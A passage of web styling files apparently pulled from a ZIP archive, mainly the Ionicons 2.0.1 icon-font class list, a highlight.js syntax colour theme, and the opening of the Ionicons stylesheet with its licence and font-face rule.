ape:before{content:"\f3a1"}.ion-android-phone-portrait:before{content:"\f3a2"}.ion-android-pin:before{content:"\f3a3"}.ion-android-plane:before{content:"\f3a4"}.ion-android-playstore:before{content:"\f2f0"}.ion-android-print:before{content:"\f3a5"}.ion-android-radio-button-off:before{content:"\f3a6"}.ion-android-radio-button-on:before{content:"\f3a7"}.ion-android-refresh:before{content:"\f3a8"}.ion-android-remove:before{content:"\f2f4"}.ion-android-remove-circle:before{content:"\f3a9"}.ion-android-restaurant:before{content:"\f3aa"}.ion-android-sad:before{content:"\f3ab"}.ion-android-search:before{content:"\f2f5"}.ion-android-send:before{content:"\f2f6"}.ion-android-settings:before{content:"\f2f7"}.ion-android-share:before{content:"\f2f8"}.ion-android-share-alt:before{content:"\f3ac"}.ion-android-star:before{content:"\f2fc"}.ion-android-star-half:before{content:"\f3ad"}.ion-android-star-outline:before{content:"\f3ae"}.ion-android-stopwatch:before{content:"\f2fd"}.ion-android-subway:before{content:"\f3af"}.ion-android-sunny:before{content:"\f3b0"}.ion-android-sync:before{content:"\f3b1"}.ion-android-textsms:before{content:"\f3b2"}.ion-android-time:before{content:"\f3b3"}.ion-android-train:before{content:"\f3b4"}.ion-android-unlock:before{content:"\f3b5"}.ion-android-upload:before{content:"\f3b6"}.ion-android-volume-down:before{content:"\f3b7"}.ion-android-volume-mute:before{content:"\f3b8"}.ion-android-volume-off:before{content:"\f3b9"}.ion-android-volume-up:before{content:"\f3ba"}.ion-android-walk:before{content:"\f3bb"}.ion-android-warning:before{content:"\f3bc"}.ion-android-watch:before{content:"\f3bd"}.ion-android-wifi:before{content:"\f305"}.ion-aperture:before{content:"\f313"}.ion-archive:before{content:"\f102"}.ion-arrow-down-a:before{content:"\f103"}.ion-arrow-down-b:before{content:"\f104"}.ion-arrow-down-c:before{content:"\f105"}.ion-arrow-expand:before{content:"\f25e"}.ion-arrow-graph-down-left:before{content:"\f25f"}.ion-arrow-graph-down-right:before{content:"\f260"}.ion-arrow-graph-up-left:before{content:"\f261"}.ion-arrow-graph-up-right:before{content:"\f262"}.ion-arrow-left-a:before{content:"\f106"}.ion-arrow-left-b:before{content:"\f107"}.ion-arrow-left-c:before{content:"\f108"}.ion-arrow-move:before{content:"\f263"}.ion-arrow-resize:before{content:"\f264"}.ion-arrow-return-left:before{content:"\f265"}.ion-arrow-return-right:before{content:"\f266"}.ion-arrow-right-a:before{content:"\f109"}.ion-arrow-right-b:before{content:"\f10a"}.ion-arrow-right-c:before{content:"\f10b"}.ion-arrow-shrink:before{content:"\f267"}.ion-arrow-swap:before{content:"\f268"}.ion-arrow-up-a:before{content:"\f10c"}.ion-arrow-up-b:before{content:"\f10d"}.ion-arrow-up-c:before{content:"\f10e"}.ion-asterisk:before{content:"\f314"}.ion-at:before{content:"\f10f"}.ion-backspace:before{content:"\f3bf"}.ion-backspace-outline:before{content:"\f3be"}.ion-bag:before{content:"\f110"}.ion-battery-charging:before{content:"\f111"}.ion-battery-empty:before{content:"\f112"}.ion-battery-full:before{content:"\f113"}.ion-battery-half:before{content:"\f114"}.ion-battery-low:before{content:"\f115"}.ion-beaker:before{content:"\f269"}.ion-beer:before{content:"\f26a"}.ion-bluetooth:before{content:"\f116"}.ion-bonfire:before{content:"\f315"}.ion-bookmark:before{content:"\f26b"}.ion-bowtie:before{content:"\f3c0"}.ion-briefcase:before{content:"\f26c"}.ion-bug:before{content:"\f2be"}.ion-calculator:before{content:"\f26d"}.ion-calendar:before{content:"\f117"}.ion-camera:before{content:"\f118"}.ion-card:before{content:"\f119"}.ion-cash:before{content:"\f316"}.ion-chatbox:before{content:"\f11b"}.ion-chatbox-working:before{content:"\f11a"}.ion-chatboxes:before{content:"\f11c"}.ion-chatbubble:before{content:"\f11e"}.ion-chatbubble-working:before{content:"\f11d"}.ion-chatbubbles:before{content:"\f11f"}.ion-checkmark:before{content:"\f122"}.ion-checkmark-circled:before{content:"\f120"}.ion-checkmark-round:before{content:"\f121"}.ion-chevron-down:before{content:"\f123"}.ion-chevron-left:before{content:"\f124"}.ion-chevron-right:before{content:"\f125"}.ion-chevron-up:before{content:"\f126"}.ion-clipboard:before{content:"\f127"}.ion-clock:before{content:"\f26e"}.ion-close:before{content:"\f12a"}.ion-close-circled:before{content:"\f128"}.ion-close-round:before{content:"\f129"}.ion-closed-captioning:before{content:"\f317"}.ion-cloud:before{content:"\f12b"}.ion-code:before{content:"\f271"}.ion-code-download:before{content:"\f26f"}.ion-code-working:before{content:"\f270"}.ion-coffee:before{content:"\f272"}.ion-compass:before{content:"\f273"}.ion-compose:before{content:"\f12c"}.ion-connection-bars:before{content:"\f274"}.ion-contrast:before{content:"\f275"}.ion-crop:before{content:"\f3c1"}.ion-cube:before{content:"\f318"}.ion-disc:before{content:"\f12d"}.ion-document:before{content:"\f12f"}.ion-document-text:before{content:"\f12e"}.ion-drag:before{content:"\f130"}.ion-earth:before{content:"\f276"}.ion-easel:before{content:"\f3c2"}.ion-edit:before{content:"\f2bf"}.ion-egg:before{content:"\f277"}.ion-eject:before{content:"\f131"}.ion-email:before{content:"\f132"}.ion-email-unread:before{content:"\f3c3"}.ion-erlenmeyer-flask:before{content:"\f3c5"}.ion-erlenmeyer-flask-bubbles:before{content:"\f3c4"}.ion-eye:before{content:"\f133"}.ion-eye-disabled:before{content:"\f306"}.ion-female:before{content:"\f278"}.ion-filing:before{content:"\f134"}.ion-film-marker:before{content:"\f135"}.ion-fireball:before{content:"\f319"}.ion-flag:before{content:"\f279"}.ion-flame:before{content:"\f31a"}.ion-flash:before{content:"\f137"}.ion-flash-off:before{content:"\f136"}.ion-folder:before{content:"\f139"}.ion-fork:before{content:"\f27a"}.ion-fork-repo:before{content:"\f2c0"}.ion-forward:before{content:"\f13a"}.ion-funnel:before{content:"\f31b"}.ion-gear-a:before{content:"\f13d"}.ion-gear-b:before{content:"\f13e"}.ion-grid:before{content:"\f13f"}.ion-hammer:before{content:"\f27b"}.ion-happy:before{content:"\f31c"}.ion-happy-outline:before{content:"\f3c6"}.ion-headphone:before{content:"\f140"}.ion-heart:before{content:"\f141"}.ion-heart-broken:before{content:"\f31d"}.ion-help:before{content:"\f143"}.ion-help-buoy:before{content:"\f27c"}.ion-help-circled:before{content:"\f142"}.ion-home:before{content:"\f144"}.ion-icecream:before{content:"\f27d"}.ion-image:before{content:"\f147"}.ion-images:before{content:"\f148"}.ion-information:before{content:"\f14a"}.ion-information-circled:before{content:"\f149"}.ion-ionic:before{content:"\f14b"}.ion-ios-alarm:before{content:"\f3c8"}.ion-ios-alarm-outline:before{content:"\f3c7"}.ion-ios-albums:before{content:"\f3ca"}.ion-ios-albums-outline:before{content:"\f3c9"}.ion-ios-americanfootball:before{content:"\f3cc"}.ion-ios-americanfootball-outline:before{content:"\f3cb"}.ion-ios-analytics:before{content:"\f3ce"}.ion-ios-analytics-outline:before{content:"\f3cd"}.ion-ios-arrow-back:before{content:"\f3cf"}.ion-ios-arrow-down:before{content:"\f3d0"}.ion-ios-arrow-forward:before{content:"\f3d1"}.ion-ios-arrow-left:before{content:"\f3d2"}.ion-ios-arrow-right:before{content:"\f3d3"}.ion-ios-arrow-thin-down:before{content:"\f3d4"}.ion-ios-arrow-thin-left:before{content:"\f3d5"}.ion-ios-arrow-thin-right:before{content:"\f3d6"}.ion-ios-arrow-thin-up:before{content:"\f3d7"}.ion-ios-arrow-up:before{content:"\f3d8"}.ion-ios-at:before{content:"\f3da"}.ion-ios-at-outline:before{content:"\f3d9"}.ion-ios-barcode:before{content:"\f3dc"}.ion-ios-barcode-outline:before{content:"\f3db"}.ion-ios-baseball:before{content:"\f3de"}.ion-ios-baseball-outline:before{content:"\f3dd"}.ion-ios-basketball:before{content:"\f3e0"}.ion-ios-basketball-outline:before{content:"\f3df"}.ion-ios-bell:before{content:"\f3e2"}.ion-ios-bell-outline:before{content:"\f3e1"}.ion-ios-body:before{content:"\f3e4"}.ion-ios-body-outline:before{content:"\f3e3"}.ion-ios-bolt:before{content:"\f3e6"}.ion-ios-bolt-outline:before{content:"\f3e5"}.ion-ios-book:before{content:"\f3e8"}.ion-ios-book-outline:before{content:"\f3e7"}.ion-ios-bookmarks:before{content:"\f3ea"}.ion-ios-bookmarks-outline:before{content:"\f3e9"}.ion-ios-box:before{content:"\f3ec"}.ion-ios-box-outline:before{content:"\f3eb"}.ion-ios-briefcase:before{content:"\f3ee"}.ion-ios-briefcase-outline:before{content:"\f3ed"}.ion-ios-browsers:before{content:"\f3f0"}.ion-ios-browsers-outline:before{content:"\f3ef"}.ion-ios-calculator:before{content:"\f3f2"}.ion-ios-calculator-outline:before{content:"\f3f1"}.ion-ios-calendar:before{content:"\f3f4"}.ion-ios-calendar-outline:before{content:"\f3f3"}.ion-ios-camera:before{content:"\f3f6"}.ion-ios-camera-outline:before{content:"\f3f5"}.ion-ios-cart:before{content:"\f3f8"}.ion-ios-cart-outline:before{content:"\f3f7"}.ion-ios-chatboxes:before{content:"\f3fa"}.ion-ios-chatboxes-outline:before{content:"\f3f9"}.ion-ios-chatbubble:before{content:"\f3fc"}.ion-ios-chatbubble-outline:before{content:"\f3fb"}.ion-ios-checkmark:before{content:"\f3ff"}.ion-ios-checkmark-empty:before{content:"\f3fd"}.ion-ios-checkmark-outline:before{content:"\f3fe"}.ion-ios-circle-filled:before{content:"\f400"}.ion-ios-circle-outline:before{content:"\f401"}.ion-ios-clock:before{content:"\f403"}.ion-ios-clock-outline:before{content:"\f402"}.ion-ios-close:before{content:"\f406"}.ion-ios-close-empty:before{content:"\f404"}.ion-ios-close-outline:before{content:"\f405"}.ion-ios-cloud:before{content:"\f40c"}.ion-ios-cloud-download:before{content:"\f408"}.ion-ios-cloud-download-outline:before{content:"\f407"}.ion-ios-cloud-outline:before{content:"\f409"}.ion-ios-cloud-upload:before{content:"\f40b"}.ion-ios-cloud-upload-outline:before{content:"\f40a"}.ion-ios-cloudy:before{content:"\f410"}.ion-ios-cloudy-night:before{content:"\f40e"}.ion-ios-cloudy-night-outline:before{content:"\f40d"}.ion-ios-cloudy-outline:before{content:"\f40f"}.ion-ios-cog:before{content:"\f412"}.ion-ios-cog-outline:before{content:"\f411"}.ion-ios-color-filter:before{content:"\f414"}.ion-ios-color-filter-outline:before{content:"\f413"}.ion-ios-color-wand:before{content:"\f416"}.ion-ios-color-wand-outline:before{content:"\f415"}.ion-ios-compose:before{content:"\f418"}.ion-ios-compose-outline:before{content:"\f417"}.ion-ios-contact:before{content:"\f41a"}.ion-ios-contact-outline:before{content:"\f419"}.ion-ios-copy:before{content:"\f41c"}.ion-ios-copy-outline:before{content:"\f41b"}.ion-ios-crop:before{content:"\f41e"}.ion-ios-crop-strong:before{content:"\f41d"}.ion-ios-download:before{content:"\f420"}.ion-ios-download-outline:before{content:"\f41f"}.ion-ios-drag:before{content:"\f421"}.ion-ios-email:before{content:"\f423"}.ion-ios-email-outline:before{content:"\f422"}.ion-ios-eye:before{content:"\f425"}.ion-ios-eye-outline:before{content:"\f424"}.ion-ios-fastforward:before{content:"\f427"}.ion-ios-fastforward-outline:before{content:"\f426"}.ion-ios-filing:before{content:"\f429"}.ion-ios-filing-outline:before{content:"\f428"}.ion-ios-film:before{content:"\f42b"}.ion-ios-film-outline:before{content:"\f42a"}.ion-ios-flag:before{content:"\f42d"}.ion-ios-flag-outline:before{content:"\f42c"}.ion-ios-flame:before{content:"\f42f"}.ion-ios-flame-outline:before{content:"\f42e"}.ion-ios-flask:before{content:"\f431"}.ion-ios-flask-outline:before{content:"\f430"}.ion-ios-flower:before{content:"\f433"}.ion-ios-flower-outline:before{content:"\f432"}.ion-ios-folder:before{content:"\f435"}.ion-ios-folder-outline:before{content:"\f434"}.ion-ios-football:before{content:"\f437"}.ion-ios-football-outline:before{content:"\f436"}.ion-ios-game-controller-a:before{content:"\f439"}.ion-ios-game-controller-a-outline:before{content:"\f438"}.ion-ios-game-controller-b:before{content:"\f43b"}.ion-ios-game-controller-b-outline:before{content:"\f43a"}.ion-ios-gear:before{content:"\f43d"}.ion-ios-gear-outline:before{content:"\f43c"}.ion-ios-glasses:before{content:"\f43f"}.ion-ios-glasses-outline:before{content:"\f43e"}.ion-ios-grid-view:before{content:"\f441"}.ion-ios-grid-view-outline:before{content:"\f440"}.ion-ios-heart:before{content:"\f443"}.ion-ios-heart-outline:before{content:"\f442"}.ion-ios-help:before{content:"\f446"}.ion-ios-help-empty:before{content:"\f444"}.ion-ios-help-outline:before{content:"\f445"}.ion-ios-home:before{content:"\f448"}.ion-ios-home-outline:before{content:"\f447"}.ion-ios-infinite:before{content:"\f44a"}.ion-ios-infinite-outline:before{content:"\f449"}.ion-ios-information:before{content:"\f44d"}.ion-ios-information-empty:before{content:"\f44b"}.ion-ios-information-outline:before{content:"\f44c"}.ion-ios-ionic-outline:before{content:"\f44e"}.ion-ios-keypad:before{content:"\f450"}.ion-ios-keypad-outline:before{content:"\f44f"}.ion-ios-lightbulb:before{content:"\f452"}.ion-ios-lightbulb-outline:before{content:"\f451"}.ion-ios-list:before{content:"\f454"}.ion-ios-list-outline:before{content:"\f453"}.ion-ios-location:before{content:"\f456"}.ion-ios-location-outline:before{content:"\f455"}.ion-ios-locked:before{content:"\f458"}.ion-ios-locked-outline:before{content:"\f457"}.ion-ios-loop:before{content:"\f45a"}.ion-ios-loop-strong:before{content:"\f459"}.ion-ios-medical:before{content:"\f45c"}.ion-ios-medical-outline:before{content:"\f45b"}.ion-ios-medkit:before{content:"\f45e"}.ion-ios-medkit-outline:before{content:"\f45d"}.ion-ios-mic:before{content:"\f461"}.ion-ios-mic-off:before{content:"\f45f"}.ion-ios-mic-outline:before{content:"\f460"}.ion-ios-minus:before{content:"\f464"}.ion-ios-minus-empty:before{content:"\f462"}.ion-ios-minus-outline:before{content:"\f463"}.ion-ios-monitor:before{content:"\f466"}.ion-ios-monitor-outline:before{content:"\f465"}.ion-ios-moon:before{content:"\f468"}.ion-ios-moon-outline:before{content:"\f467"}.ion-ios-more:before{content:"\f46a"}.ion-ios-more-outline:before{content:"\f469"}.ion-ios-musical-note:before{content:"\f46b"}.ion-ios-musical-notes:before{content:"\f46c"}.ion-ios-navigate:before{content:"\f46e"}.ion-ios-navigate-outline:before{content:"\f46d"}.ion-ios-nutrition:before{content:"\f470"}.ion-ios-nutrition-outline:before{content:"\f46f"}.ion-ios-paper:before{content:"\f472"}.ion-ios-paper-outline:before{content:"\f471"}.ion-ios-paperplane:before{content:"\f474"}.ion-ios-paperplane-outline:before{content:"\f473"}.ion-ios-partlysunny:before{content:"\f476"}.ion-ios-partlysunny-outline:before{content:"\f475"}.ion-ios-pause:before{content:"\f478"}.ion-ios-pause-outline:before{content:"\f477"}.ion-ios-paw:before{content:"\f47a"}.ion-ios-paw-outline:before{content:"\f479"}.ion-ios-people:before{content:"\f47c"}.ion-ios-people-outline:before{content:"\f47b"}.ion-ios-person:before{content:"\f47e"}.ion-ios-person-outline:before{content:"\f47d"}.ion-ios-personadd:before{content:"\f480"}.ion-ios-personadd-outline:before{content:"\f47f"}.ion-ios-photos:before{content:"\f482"}.ion-ios-photos-outline:before{content:"\f481"}.ion-ios-pie:before{content:"\f484"}.ion-ios-pie-outline:before{content:"\f483"}.ion-ios-pint:before{content:"\f486"}.ion-ios-pint-outline:before{content:"\f485"}.ion-ios-play:before{content:"\f488"}.ion-ios-play-outline:before{content:"\f487"}.ion-ios-plus:before{content:"\f48b"}.ion-ios-plus-empty:before{content:"\f489"}.ion-ios-plus-outline:before{content:"\f48a"}.ion-ios-pricetag:before{content:"\f48d"}.ion-ios-pricetag-outline:before{content:"\f48c"}.ion-ios-pricetags:before{content:"\f48f"}.ion-ios-pricetags-outline:before{content:"\f48e"}.ion-ios-printer:before{content:"\f491"}.ion-ios-printer-outline:before{content:"\f490"}.ion-ios-pulse:before{content:"\f493"}.ion-ios-pulse-strong:before{content:"\f492"}.ion-ios-rainy:before{content:"\f495"}.ion-ios-rainy-outline:before{content:"\f494"}.ion-ios-recording:before{content:"\f497"}.ion-ios-recording-outline:before{content:"\f496"}.ion-ios-redo:before{content:"\f499"}.ion-ios-redo-outline:before{content:"\f498"}.ion-ios-refresh:before{content:"\f49c"}.ion-ios-refresh-empty:before{content:"\f49a"}.ion-ios-refresh-outline:before{content:"\f49b"}.ion-ios-reload:before{content:"\f49d"}.ion-ios-reverse-camera:before{content:"\f49f"}.ion-ios-reverse-camera-outline:before{content:"\f49e"}.ion-ios-rewind:before{content:"\f4a1"}.ion-ios-rewind-outline:before{content:"\f4a0"}.ion-ios-rose:before{content:"\f4a3"}.ion-ios-rose-outline:before{content:"\f4a2"}.ion-ios-search:before{content:"\f4a5"}.ion-ios-search-strong:before{content:"\f4a4"}.ion-ios-settings:before{content:"\f4a7"}.ion-ios-settings-strong:before{content:"\f4a6"}.ion-ios-shuffle:before{content:"\f4a9"}.ion-ios-shuffle-strong:before{content:"\f4a8"}.ion-ios-skipbackward:before{content:"\f4ab"}.ion-ios-skipbackward-outline:before{content:"\f4aa"}.ion-ios-skipforward:before{content:"\f4ad"}.ion-ios-skipforward-outline:before{content:"\f4ac"}.ion-ios-snowy:before{content:"\f4ae"}.ion-ios-speedometer:before{content:"\f4b0"}.ion-ios-speedometer-outline:before{content:"\f4af"}.ion-ios-star:before{content:"\f4b3"}.ion-ios-star-half:before{content:"\f4b1"}.ion-ios-star-outline:before{content:"\f4b2"}.ion-ios-stopwatch:before{content:"\f4b5"}.ion-ios-stopwatch-outline:before{content:"\f4b4"}.ion-ios-sunny:before{content:"\f4b7"}.ion-ios-sunny-outline:before{content:"\f4b6"}.ion-ios-telephone:before{content:"\f4b9"}.ion-ios-telephone-outline:before{content:"\f4b8"}.ion-ios-tennisball:before{content:"\f4bb"}.ion-ios-tennisball-outline:before{content:"\f4ba"}.ion-ios-thunderstorm:before{content:"\f4bd"}.ion-ios-thunderstorm-outline:before{content:"\f4bc"}.ion-ios-time:before{content:"\f4bf"}.ion-ios-time-outline:before{content:"\f4be"}.ion-ios-timer:before{content:"\f4c1"}.ion-ios-timer-outline:before{content:"\f4c0"}.ion-ios-toggle:before{content:"\f4c3"}.ion-ios-toggle-outline:before{content:"\f4c2"}.ion-ios-trash:before{content:"\f4c5"}.ion-ios-trash-outline:before{content:"\f4c4"}.ion-ios-undo:before{content:"\f4c7"}.ion-ios-undo-outline:before{content:"\f4c6"}.ion-ios-unlocked:before{content:"\f4c9"}.ion-ios-unlocked-outline:before{content:"\f4c8"}.ion-ios-upload:before{content:"\f4cb"}.ion-ios-upload-outline:before{content:"\f4ca"}.ion-ios-videocam:before{content:"\f4cd"}.ion-ios-videocam-outline:before{content:"\f4cc"}.ion-ios-volume-high:before{content:"\f4ce"}.ion-ios-volume-low:before{content:"\f4cf"}.ion-ios-wineglass:before{content:"\f4d1"}.ion-ios-wineglass-outline:before{content:"\f4d0"}.ion-ios-world:before{content:"\f4d3"}.ion-ios-world-outline:before{content:"\f4d2"}.ion-ipad:before{content:"\f1f9"}.ion-iphone:before{content:"\f1fa"}.ion-ipod:before{content:"\f1fb"}.ion-jet:before{content:"\f295"}.ion-key:before{content:"\f296"}.ion-knife:before{content:"\f297"}.ion-laptop:before{content:"\f1fc"}.ion-leaf:before{content:"\f1fd"}.ion-levels:before{content:"\f298"}.ion-lightbulb:before{content:"\f299"}.ion-link:before{content:"\f1fe"}.ion-load-a:before{content:"\f29a"}.ion-load-b:before{content:"\f29b"}.ion-load-c:before{content:"\f29c"}.ion-load-d:before{content:"\f29d"}.ion-location:before{content:"\f1ff"}.ion-lock-combination:before{content:"\f4d4"}.ion-locked:before{content:"\f200"}.ion-log-in:before{content:"\f29e"}.ion-log-out:before{content:"\f29f"}.ion-loop:before{content:"\f201"}.ion-magnet:before{content:"\f2a0"}.ion-male:before{content:"\f2a1"}.ion-man:before{content:"\f202"}.ion-map:before{content:"\f203"}.ion-medkit:before{content:"\f2a2"}.ion-merge:before{content:"\f33f"}.ion-mic-a:before{content:"\f204"}.ion-mic-b:before{content:"\f205"}.ion-mic-c:before{content:"\f206"}.ion-minus:before{content:"\f209"}.ion-minus-circled:before{content:"\f207"}.ion-minus-round:before{content:"\f208"}.ion-model-s:before{content:"\f2c1"}.ion-monitor:before{content:"\f20a"}.ion-more:before{content:"\f20b"}.ion-mouse:before{content:"\f340"}.ion-music-note:before{content:"\f20c"}.ion-navicon:before{content:"\f20e"}.ion-navicon-round:before{content:"\f20d"}.ion-navigate:before{content:"\f2a3"}.ion-network:before{content:"\f341"}.ion-no-smoking:before{content:"\f2c2"}.ion-nuclear:before{content:"\f2a4"}.ion-outlet:before{content:"\f342"}.ion-paintbrush:before{content:"\f4d5"}.ion-paintbucket:before{content:"\f4d6"}.ion-paper-airplane:before{content:"\f2c3"}.ion-paperclip:before{content:"\f20f"}.ion-pause:before{content:"\f210"}.ion-person:before{content:"\f213"}.ion-person-add:before{content:"\f211"}.ion-person-stalker:before{content:"\f212"}.ion-pie-graph:before{content:"\f2a5"}.ion-pin:before{content:"\f2a6"}.ion-pinpoint:before{content:"\f2a7"}.ion-pizza:before{content:"\f2a8"}.ion-plane:before{content:"\f214"}.ion-planet:before{content:"\f343"}.ion-play:before{content:"\f215"}.ion-playstation:before{content:"\f30a"}.ion-plus:before{content:"\f218"}.ion-plus-circled:before{content:"\f216"}.ion-plus-round:before{content:"\f217"}.ion-podium:before{content:"\f344"}.ion-pound:before{content:"\f219"}.ion-power:before{content:"\f2a9"}.ion-pricetag:before{content:"\f2aa"}.ion-pricetags:before{content:"\f2ab"}.ion-printer:before{content:"\f21a"}.ion-pull-request:before{content:"\f345"}.ion-qr-scanner:before{content:"\f346"}.ion-quote:before{content:"\f347"}.ion-radio-waves:before{content:"\f2ac"}.ion-record:before{content:"\f21b"}.ion-refresh:before{content:"\f21c"}.ion-reply:before{content:"\f21e"}.ion-reply-all:before{content:"\f21d"}.ion-ribbon-a:before{content:"\f348"}.ion-ribbon-b:before{content:"\f349"}.ion-sad:before{content:"\f34a"}.ion-sad-outline:before{content:"\f4d7"}.ion-scissors:before{content:"\f34b"}.ion-search:before{content:"\f21f"}.ion-settings:before{content:"\f2ad"}.ion-share:before{content:"\f220"}.ion-shuffle:before{content:"\f221"}.ion-skip-backward:before{content:"\f222"}.ion-skip-forward:before{content:"\f223"}.ion-social-android:before{content:"\f225"}.ion-social-android-outline:before{content:"\f224"}.ion-social-angular:before{content:"\f4d9"}.ion-social-angular-outline:before{content:"\f4d8"}.ion-social-apple:before{content:"\f227"}.ion-social-apple-outline:before{content:"\f226"}.ion-social-bitcoin:before{content:"\f2af"}.ion-social-bitcoin-outline:before{content:"\f2ae"}.ion-social-buffer:before{content:"\f229"}.ion-social-buffer-outline:before{content:"\f228"}.ion-social-chrome:before{content:"\f4db"}.ion-social-chrome-outline:before{content:"\f4da"}.ion-social-codepen:before{content:"\f4dd"}.ion-social-codepen-outline:before{content:"\f4dc"}.ion-social-css3:before{content:"\f4df"}.ion-social-css3-outline:before{content:"\f4de"}.ion-social-designernews:before{content:"\f22b"}.ion-social-designernews-outline:before{content:"\f22a"}.ion-social-dribbble:before{content:"\f22d"}.ion-social-dribbble-outline:before{content:"\f22c"}.ion-social-dropbox:before{content:"\f22f"}.ion-social-dropbox-outline:before{content:"\f22e"}.ion-social-euro:before{content:"\f4e1"}.ion-social-euro-outline:before{content:"\f4e0"}.ion-social-facebook:before{content:"\f231"}.ion-social-facebook-outline:before{content:"\f230"}.ion-social-foursquare:before{content:"\f34d"}.ion-social-foursquare-outline:before{content:"\f34c"}.ion-social-freebsd-devil:before{content:"\f2c4"}.ion-social-github:before{content:"\f233"}.ion-social-github-outline:before{content:"\f232"}.ion-social-google:before{content:"\f34f"}.ion-social-google-outline:before{content:"\f34e"}.ion-social-googleplus:before{content:"\f235"}.ion-social-googleplus-outline:before{content:"\f234"}.ion-social-hackernews:before{content:"\f237"}.ion-social-hackernews-outline:before{content:"\f236"}.ion-social-html5:before{content:"\f4e3"}.ion-social-html5-outline:before{content:"\f4e2"}.ion-social-instagram:before{content:"\f351"}.ion-social-instagram-outline:before{content:"\f350"}.ion-social-javascript:before{content:"\f4e5"}.ion-social-javascript-outline:before{content:"\f4e4"}.ion-social-linkedin:before{content:"\f239"}.ion-social-linkedin-outline:before{content:"\f238"}.ion-social-markdown:before{content:"\f4e6"}.ion-social-nodejs:before{content:"\f4e7"}.ion-social-octocat:before{content:"\f4e8"}.ion-social-pinterest:before{content:"\f2b1"}.ion-social-pinterest-outline:before{content:"\f2b0"}.ion-social-python:before{content:"\f4e9"}.ion-social-reddit:before{content:"\f23b"}.ion-social-reddit-outline:before{content:"\f23a"}.ion-social-rss:before{content:"\f23d"}.ion-social-rss-outline:before{content:"\f23c"}.ion-social-sass:before{content:"\f4ea"}.ion-social-skype:before{content:"\f23f"}.ion-social-skype-outline:before{content:"\f23e"}.ion-social-snapchat:before{content:"\f4ec"}.ion-social-snapchat-outline:before{content:"\f4eb"}.ion-social-tumblr:before{content:"\f241"}.ion-social-tumblr-outline:before{content:"\f240"}.ion-social-tux:before{content:"\f2c5"}.ion-social-twitch:before{content:"\f4ee"}.ion-social-twitch-outline:before{content:"\f4ed"}.ion-social-twitter:before{content:"\f243"}.ion-social-twitter-outline:before{content:"\f242"}.ion-social-usd:before{content:"\f353"}.ion-social-usd-outline:before{content:"\f352"}.ion-social-vimeo:before{content:"\f245"}.ion-social-vimeo-outline:before{content:"\f244"}.ion-social-whatsapp:before{content:"\f4f0"}.ion-social-whatsapp-outline:before{content:"\f4ef"}.ion-social-windows:before{content:"\f247"}.ion-social-windows-outline:before{content:"\f246"}.ion-social-wordpress:before{content:"\f249"}.ion-social-wordpress-outline:before{content:"\f248"}.ion-social-yahoo:before{content:"\f24b"}.ion-social-yahoo-outline:before{content:"\f24a"}.ion-social-yen:before{content:"\f4f2"}.ion-social-yen-outline:before{content:"\f4f1"}.ion-social-youtube:before{content:"\f24d"}.ion-social-youtube-outline:before{content:"\f24c"}.ion-soup-can:before{content:"\f4f4"}.ion-soup-can-outline:before{content:"\f4f3"}.ion-speakerphone:before{content:"\f2b2"}.ion-speedometer:before{content:"\f2b3"}.ion-spoon:before{content:"\f2b4"}.ion-star:before{content:"\f24e"}.ion-stats-bars:before{content:"\f2b5"}.ion-steam:before{content:"\f30b"}.ion-stop:before{content:"\f24f"}.ion-thermometer:before{content:"\f2b6"}.ion-thumbsdown:before{content:"\f250"}.ion-thumbsup:before{content:"\f251"}.ion-toggle:before{content:"\f355"}.ion-toggle-filled:before{content:"\f354"}.ion-transgender:before{content:"\f4f5"}.ion-trash-a:before{content:"\f252"}.ion-trash-b:before{content:"\f253"}.ion-trophy:before{content:"\f356"}.ion-tshirt:before{content:"\f4f7"}.ion-tshirt-outline:before{content:"\f4f6"}.ion-umbrella:before{content:"\f2b7"}.ion-university:before{content:"\f357"}.ion-unlocked:before{content:"\f254"}.ion-upload:before{content:"\f255"}.ion-usb:before{content:"\f2b8"}.ion-videocamera:before{content:"\f256"}.ion-volume-high:before{content:"\f257"}.ion-volume-low:before{content:"\f258"}.ion-volume-medium:before{content:"\f259"}.ion-volume-mute:before{content:"\f25a"}.ion-wand:before{content:"\f358"}.ion-waterdrop:before{content:"\f25b"}.ion-wifi:before{content:"\f25c"}.ion-wineglass:before{content:"\f2b9"}.ion-woman:before{content:"\f25d"}.ion-wrench:before{content:"\f2ba"}.ion-xbox:before{content:"\f30c"}
PK!�v�h��css/hightlight.cssnu&1i�/*
Style with support for rainbow parens
*/

.hljs {
  display: block;
  overflow-x: auto;
  padding: 0.5em;
  background: #474949;
  color: #d1d9e1;
}


.hljs-comment,
.hljs-quote {
  color: #969896;
  font-style: italic;
}

.hljs-keyword,
.hljs-selector-tag,
.hljs-literal,
.hljs-type,
.hljs-addition {
  color: #cc99cc;
}

.hljs-number,
.hljs-selector-attr,
.hljs-selector-pseudo {
  color: #f99157;
}

.hljs-string,
.hljs-doctag,
.hljs-regexp {
  color: #8abeb7;
}

.hljs-title,
.hljs-name,
.hljs-section,
.hljs-built_in {
  color: #b5bd68;
}

.hljs-variable,
.hljs-template-variable,
.hljs-selector-id,
.hljs-class .hljs-title {
   color: #ffcc66;
}

.hljs-section,
.hljs-name,
.hljs-strong {
  font-weight: bold;
}

.hljs-symbol,
.hljs-bullet,
.hljs-subst,
.hljs-meta,
.hljs-link {
  color: #f99157;
}

.hljs-deletion {
  color: #dc322f;
}

.hljs-formula {
  background: #eee8d5;
}

.hljs-attr,
.hljs-attribute {
  color: #81a2be;
}

.hljs-emphasis {
  font-style: italic;
}PK!�E��i�i�css/ionicons.cssnu&1i�@charset "UTF-8";
/*!
  Ionicons, v2.0.1
  Created by Ben Sperry for the Ionic Framework, http://ionicons.com/
  https://twitter.com/benjsperry  https://twitter.com/ionicframework
  MIT License: https://github.com/driftyco/ionicons

  Android-style icons originally built by Google’s
  Material Design Icons: https://github.com/google/material-design-icons
  used under CC BY http://creativecommons.org/licenses/by/4.0/
  Modified icons to fit ionicon’s grid from original.
*/
@font-face { font-family: "Ionicons"; src: url("../fonts/ionicons.eot?v=2.0.1"); src: url("../fonts/ionicons.eot?v=2.0.1#iefix") format("embedded-opentype"), url("../fonts/ionicons.ttf?v=2.0.1") format("truetype"), url("../fonts/ionicons.woff?v=2.0.1") format("woff"), url("../fonts/ionicons.svg?v=2.0.1#Ionicons") format("svg"); font-weight: normal; font-style: normal; }
